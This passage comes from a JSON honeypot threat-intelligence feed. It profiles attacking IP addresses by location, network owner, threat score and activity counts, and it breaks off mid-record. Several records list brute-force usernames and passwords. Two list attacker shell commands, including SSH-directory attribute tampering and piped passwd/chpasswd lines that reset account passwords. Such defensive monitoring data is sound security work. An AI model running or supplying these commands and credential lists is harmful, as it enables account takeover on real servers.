      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 30,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T02:51:20.130000+00:00",
        "last_seen_30d": "2026-03-31T02:45:07.204000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Honeytrap": 28,
        "ConPot": 2,
        "Cowrie": 2,
        "Dicompot": 1,
        "Tanner": 1
      }
    },
    "173.25.41.81": {
      "attack_count": 2,
      "first_seen": "2026-03-23T17:34:41.654Z",
      "last_seen": "2026-03-23T17:34:54.408Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Huntsville",
      "asn": 30036,
      "as_org": "Mediacom Communications Corp",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T17:34:41.654000+00:00",
        "last_seen_30d": "2026-03-23T17:35:54.963000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.104.198.245": {
      "attack_count": 2,
      "first_seen": "2026-03-30T02:29:16.232Z",
      "last_seen": "2026-03-30T02:29:29.358Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Ryazan",
      "asn": 56420,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T02:29:16.232000+00:00",
        "last_seen_30d": "2026-03-30T02:30:35.637000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.124.161.135": {
      "attack_count": 2,
      "first_seen": "2026-03-20T14:56:54.034Z",
      "last_seen": "2026-03-20T14:57:07.744Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belarus",
      "country_code": "BY",
      "city": "Minsk",
      "asn": 6697,
      "as_org": "Republican Unitary Telecommunication Enterprise Beltelecom",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T14:56:54.034000+00:00",
        "last_seen_30d": "2026-03-20T14:58:10.807000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.176.198.184": {
      "attack_count": 2,
      "first_seen": "2026-03-06T17:38:17.971Z",
      "last_seen": "2026-03-06T17:38:49.791Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Costa Rica",
      "country_code": "CR",
      "city": "San Jos\u00e9",
      "asn": 262197,
      "as_org": "MILLICOM CABLE COSTA RICA S.A.",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T17:38:17.971000+00:00",
        "last_seen_30d": "2026-03-06T17:39:52.617000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "195.184.76.4": {
      "attack_count": 2,
      "first_seen": "2026-03-04T12:33:33.530Z",
      "last_seen": "2026-03-04T12:33:36.534Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 77.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 69,
        "days_active_30d": 29,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T19:11:35+00:00",
        "last_seen_30d": "2026-03-31T10:52:42.073000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 41,
        "Honeytrap": 26,
        "Cowrie": 2
      }
    },
    "217.112.105.155": {
      "attack_count": 2,
      "first_seen": "2026-03-26T19:56:52.281Z",
      "last_seen": "2026-03-26T19:57:05.137Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Siena",
      "asn": 49605,
      "as_org": "Digital Telecommunication Services S.r.l.",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T19:56:52.281000+00:00",
        "last_seen_30d": "2026-03-26T19:58:12.449000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.161.107": {
      "attack_count": 2,
      "first_seen": "2026-03-17T08:52:16.518Z",
      "last_seen": "2026-03-17T08:52:30.207Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T08:52:16.518000+00:00",
        "last_seen_30d": "2026-03-17T08:53:31.639000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.173.199": {
      "attack_count": 2,
      "first_seen": "2026-03-20T15:18:24.201Z",
      "last_seen": "2026-03-20T15:18:36.998Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T15:18:24.201000+00:00",
        "last_seen_30d": "2026-03-20T15:19:45.816000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.46.202": {
      "attack_count": 2,
      "first_seen": "2026-03-15T19:52:21.845Z",
      "last_seen": "2026-03-15T19:52:34.825Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": null,
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T19:52:21.845000+00:00",
        "last_seen_30d": "2026-03-15T19:53:45.169000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.15.151.153": {
      "attack_count": 2,
      "first_seen": "2026-03-27T16:48:16.783Z",
      "last_seen": "2026-03-27T16:48:48.109Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Gyumri",
      "asn": 48675,
      "as_org": "Diananet LLC",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T16:48:16.783000+00:00",
        "last_seen_30d": "2026-03-27T16:49:56.475000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.89.72.220": {
      "attack_count": 2,
      "first_seen": "2026-03-31T06:24:27.785Z",
      "last_seen": "2026-03-31T06:24:41.944Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Sangrur",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T06:24:27.785000+00:00",
        "last_seen_30d": "2026-03-31T06:25:45.294000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.24.208.62": {
      "attack_count": 2,
      "first_seen": "2026-03-04T05:15:26.632Z",
      "last_seen": "2026-03-04T05:15:40.233Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Rockport",
      "asn": 16574,
      "as_org": "Gtek Computers LLC",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T05:15:26.632000+00:00",
        "last_seen_30d": "2026-03-04T05:16:50.376000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.230.168.5": {
      "attack_count": 2,
      "first_seen": "2026-03-17T21:10:25.624Z",
      "last_seen": "2026-03-17T21:10:28.628Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 90.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 123,
        "days_active_30d": 30,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T08:54:52+00:00",
        "last_seen_30d": "2026-03-31T18:39:31.963000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Honeytrap": 44,
        "Cowrie": 2,
        "Dionaea": 2,
        "ConPot": 1
      }
    },
    "92.63.243.134": {
      "attack_count": 2,
      "first_seen": "2026-03-20T22:11:59.852Z",
      "last_seen": "2026-03-20T22:12:06.011Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hungary",
      "country_code": "HU",
      "city": "Keszthely",
      "asn": 44789,
      "as_org": "KabelszatNet-2002. Musoreloszto es Kereskedelmi Kft.",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T22:11:59.852000+00:00",
        "last_seen_30d": "2026-03-20T22:13:13.752000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.87.249.170": {
      "attack_count": 7002,
      "first_seen": "2026-03-03T00:35:33.151Z",
      "last_seen": "2026-03-15T22:52:53.543Z",
      "sessions": 1394,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "user",
        "ubnt",
        "administrator",
        "config",
        "ftpuser",
        "support",
        "Admin",
        "RPM",
        "a",
        "edu",
        "guest",
        "ming",
        "netdump",
        "oracle",
        "123",
        "abc",
        "abe"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "1234",
        "123",
        "123123",
        "password",
        "12345",
        "test",
        "config",
        "support",
        "user",
        "1",
        "NSSpassword1",
        "Welcome1",
        "ftp",
        "mob@paler0",
        "ubnt",
        "12345678",
        "123456789",
        "930920"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 210006,
      "as_org": "Shereverov Marat Ahmedovich",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 10.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 10088,
        "days_active_30d": 13,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T00:35:33.151000+00:00",
        "last_seen_30d": "2026-03-15T22:54:01.481000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7002,
        "Suricata": 3086
      }
    },
    "167.172.47.125": {
      "attack_count": 3525,
      "first_seen": "2026-03-04T09:40:22.759Z",
      "last_seen": "2026-03-04T10:16:56.616Z",
      "sessions": 705,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "user",
        "ftpuser",
        "admin",
        "test",
        "deployer",
        "kafka",
        "minecraft",
        "odoo",
        "oracle",
        "student",
        "alex",
        "bot",
        "jenkins",
        "steam",
        "ali",
        "debian",
        "web"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "P@ssw0rd",
        "12345678",
        "1234",
        "p@ssw0rd",
        "1",
        "12345",
        "root",
        "111",
        "1111",
        "1qaz@WSX",
        "admin",
        "admin123",
        "1234567",
        "0000",
        "11",
        "123123123",
        "123456789"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4947,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T09:40:22.759000+00:00",
        "last_seen_30d": "2026-03-04T10:18:05.332000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3525,
        "Suricata": 1422
      }
    },
    "92.118.39.92": {
      "attack_count": 1452,
      "first_seen": "2026-03-02T18:13:41.058Z",
      "last_seen": "2026-03-25T05:23:08.167Z",
      "sessions": 287,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "debian",
        "admin",
        "git",
        "solana",
        "test",
        "tradebot",
        "uftp",
        "jira",
        "sol",
        "testuser",
        "www",
        "ansible",
        "bot",
        "btc",
        "btc1",
        "centos",
        "degen",
        "delegate"
      ],
      "passwords_attempted": [
        "1234",
        "admin",
        "bot123",
        "12345",
        "123456",
        "password",
        "123",
        "dogecoin",
        "ether",
        "gwei",
        "solana",
        "telegramapi",
        "test",
        "trade",
        "validator",
        "delegate",
        "jira",
        "debian",
        "sol",
        "testuser"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 49.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 2139,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T18:00:08.510000+00:00",
        "last_seen_30d": "2026-03-25T05:24:15.848000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1452,
        "Suricata": 687
      }
    },
    "185.156.73.233": {
      "attack_count": 770,
      "first_seen": "2026-03-02T01:35:53.159Z",
      "last_seen": "2026-03-31T19:25:29.148Z",
      "sessions": 140,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "admin123",
        "user",
        "ubnt",
        "telecomadmin",
        "hacluster",
        "squid",
        "sshd",
        "support",
        "ftpuser",
        "system",
        "test",
        "ubuntu",
        "1",
        "Administrator",
        "RPM",
        "adm",
        "anonymous",
        "git"
      ],
      "passwords_attempted": [
        "adminpass",
        "admin123",
        "88888888",
        "alpine",
        "123456",
        "",
        "Admin123",
        "admin",
        "live",
        "admintelecom",
        "hacluster",
        "squid",
        "1234",
        "12345",
        "12345678",
        "OkwKcECs8qJP2Z",
        "PRt3st!ng",
        "default",
        "libreelec",
        "p@ssw0rd"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.request",
        "cowrie.direct-tcpip.data",
        "cowrie.login.success"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 211736,
      "as_org": "FOP Dmytro Nedilskyi",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1187,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T01:35:53.159000+00:00",
        "last_seen_30d": "2026-03-31T19:26:30.186000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 770,
        "Suricata": 417
      }
    },
    "31.59.102.138": {
      "attack_count": 687,
      "first_seen": "2026-03-12T00:17:37.582Z",
      "last_seen": "2026-03-21T00:01:32.534Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "b",
        "ben",
        "help",
        "lyh",
        "srs",
        "story",
        "zjsf",
        "abc",
        "andres",
        "astra",
        "bodega",
        "builduser",
        "claude",
        "clement",
        "dan",
        "dmdba",
        "dspace",
        "elizabeth"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123",
        "123456",
        "12345678",
        "12345",
        "11111111",
        "Asdf123456",
        "Astra123",
        "Cloud@123",
        "Dspace123",
        "Openeuler123!",
        "Patrick123",
        "ben",
        "builduser",
        "claude123",
        "clement123",
        "elizabeth",
        "ftpadminpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nwFCqPl30o6ht\\nwFCqPl30o6ht\\n\"|passwd",
        "echo \"12345\\ndTClH8zaTmf2\\ndTClH8zaTmf2\\n\"|passwd",
        "echo \"1234\\nMUWC9EP4QPV6\\nMUWC9EP4QPV6\\n\"|passwd",
        "echo \"ben\\nK9uh0BGjHJd3\\nK9uh0BGjHJd3\\n\"|passwd",
        "echo \"lyh123\\nanJ6QjnYa2Us\\nanJ6QjnYa2Us\\n\"|passwd",
        "echo \"root:wW2zgCKln8hm\"|chpasswd|bash",
        "echo \"srspass\\nxvJiHeNyIePR\\nxvJiHeNyIePR\\n\"|passwd",
        "echo -e \"123456\\nwFCqPl30o6ht\\nwFCqPl30o6ht\"|passwd|bash",
        "echo -e \"12345\\ndTClH8zaTmf2\\ndTClH8zaTmf2\"|passwd|bash",
        "echo -e \"1234\\nMUWC9EP4QPV6\\nMUWC9EP4QPV6\"|passwd|bash",
        "echo -e \"ben\\nK9uh0BGjHJd3\\nK9uh0BGjHJd3\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Latvia",
      "country_code": "LV",
      "city": "Riga",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 33.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.1,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 813,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T00:17:37.582000+00:00",
        "last_seen_30d": "2026-03-21T00:02:41.866000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 687,
        "Suricata": 126
      }
    },
    "217.148.142.100": {
      "attack_count": 595,
      "first_seen": "2026-03-18T16:22:25.336Z",
      "last_seen": "2026-03-23T08:13:41.679Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "amir",
        "foo",
        "peter",
        "posiflex",
        "steamcmd",
        "Test",
        "aaa",
        "admin",
        "appuser",
        "asus",
        "bbb",
        "carlos",
        "claudio",
        "client",
        "core",
        "cw",
        "cyrus",
        "edu"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "12345",
        "123456",
        "1234",
        "@WSX3edc",
        "Admin",
        "Password1",
        "Samir123!",
        "Student1123!",
        "TestTest",
        "Tomas123!",
        "Weblogic123",
        "aaapass",
        "bbbbbb",
        "claudio",
        "client123!",
        "cwpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\ne2i7dXWat1qQ\\ne2i7dXWat1qQ\\n\"|passwd",
        "echo \"foo\\nx3fEKtWctbLS\\nx3fEKtWctbLS\\n\"|passwd",
        "echo \"peter123\\nDULzdwbquJm9\\nDULzdwbquJm9\\n\"|passwd",
        "echo \"posiflexpass\\n6mH2se1GtFUy\\n6mH2se1GtFUy\\n\"|passwd",
        "echo \"steamcmd\\nMCyAN5qv6zF4\\nMCyAN5qv6zF4\\n\"|passwd",
        "echo -e \"12345678\\ne2i7dXWat1qQ\\ne2i7dXWat1qQ\"|passwd|bash",
        "echo -e \"foo\\nx3fEKtWctbLS\\nx3fEKtWctbLS\"|passwd|bash",
        "echo -e \"peter123\\nDULzdwbquJm9\\nDULzdwbquJm9\"|passwd|bash",
        "echo -e \"posiflexpass\\n6mH2se1GtFUy\\n6mH2se1GtFUy\"|passwd|bash",
        "echo -e \"steamcmd\\nMCyAN5qv6zF4\\nMCyAN5qv6zF4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 33.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.7,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 734,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T16:22:25.336000+00:00",
        "last_seen_30d": "2026-03-23T08:14:47.097000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 595,
        "Suricata": 139
      }
    },
    "128.1.47.28": {
      "attack_count": 524,
      "first_seen": "2026-03-17T22:10:49.969Z",
      "last_seen": "2026-03-30T16:38:47.729Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "huang",
        "user",
        "administrator",
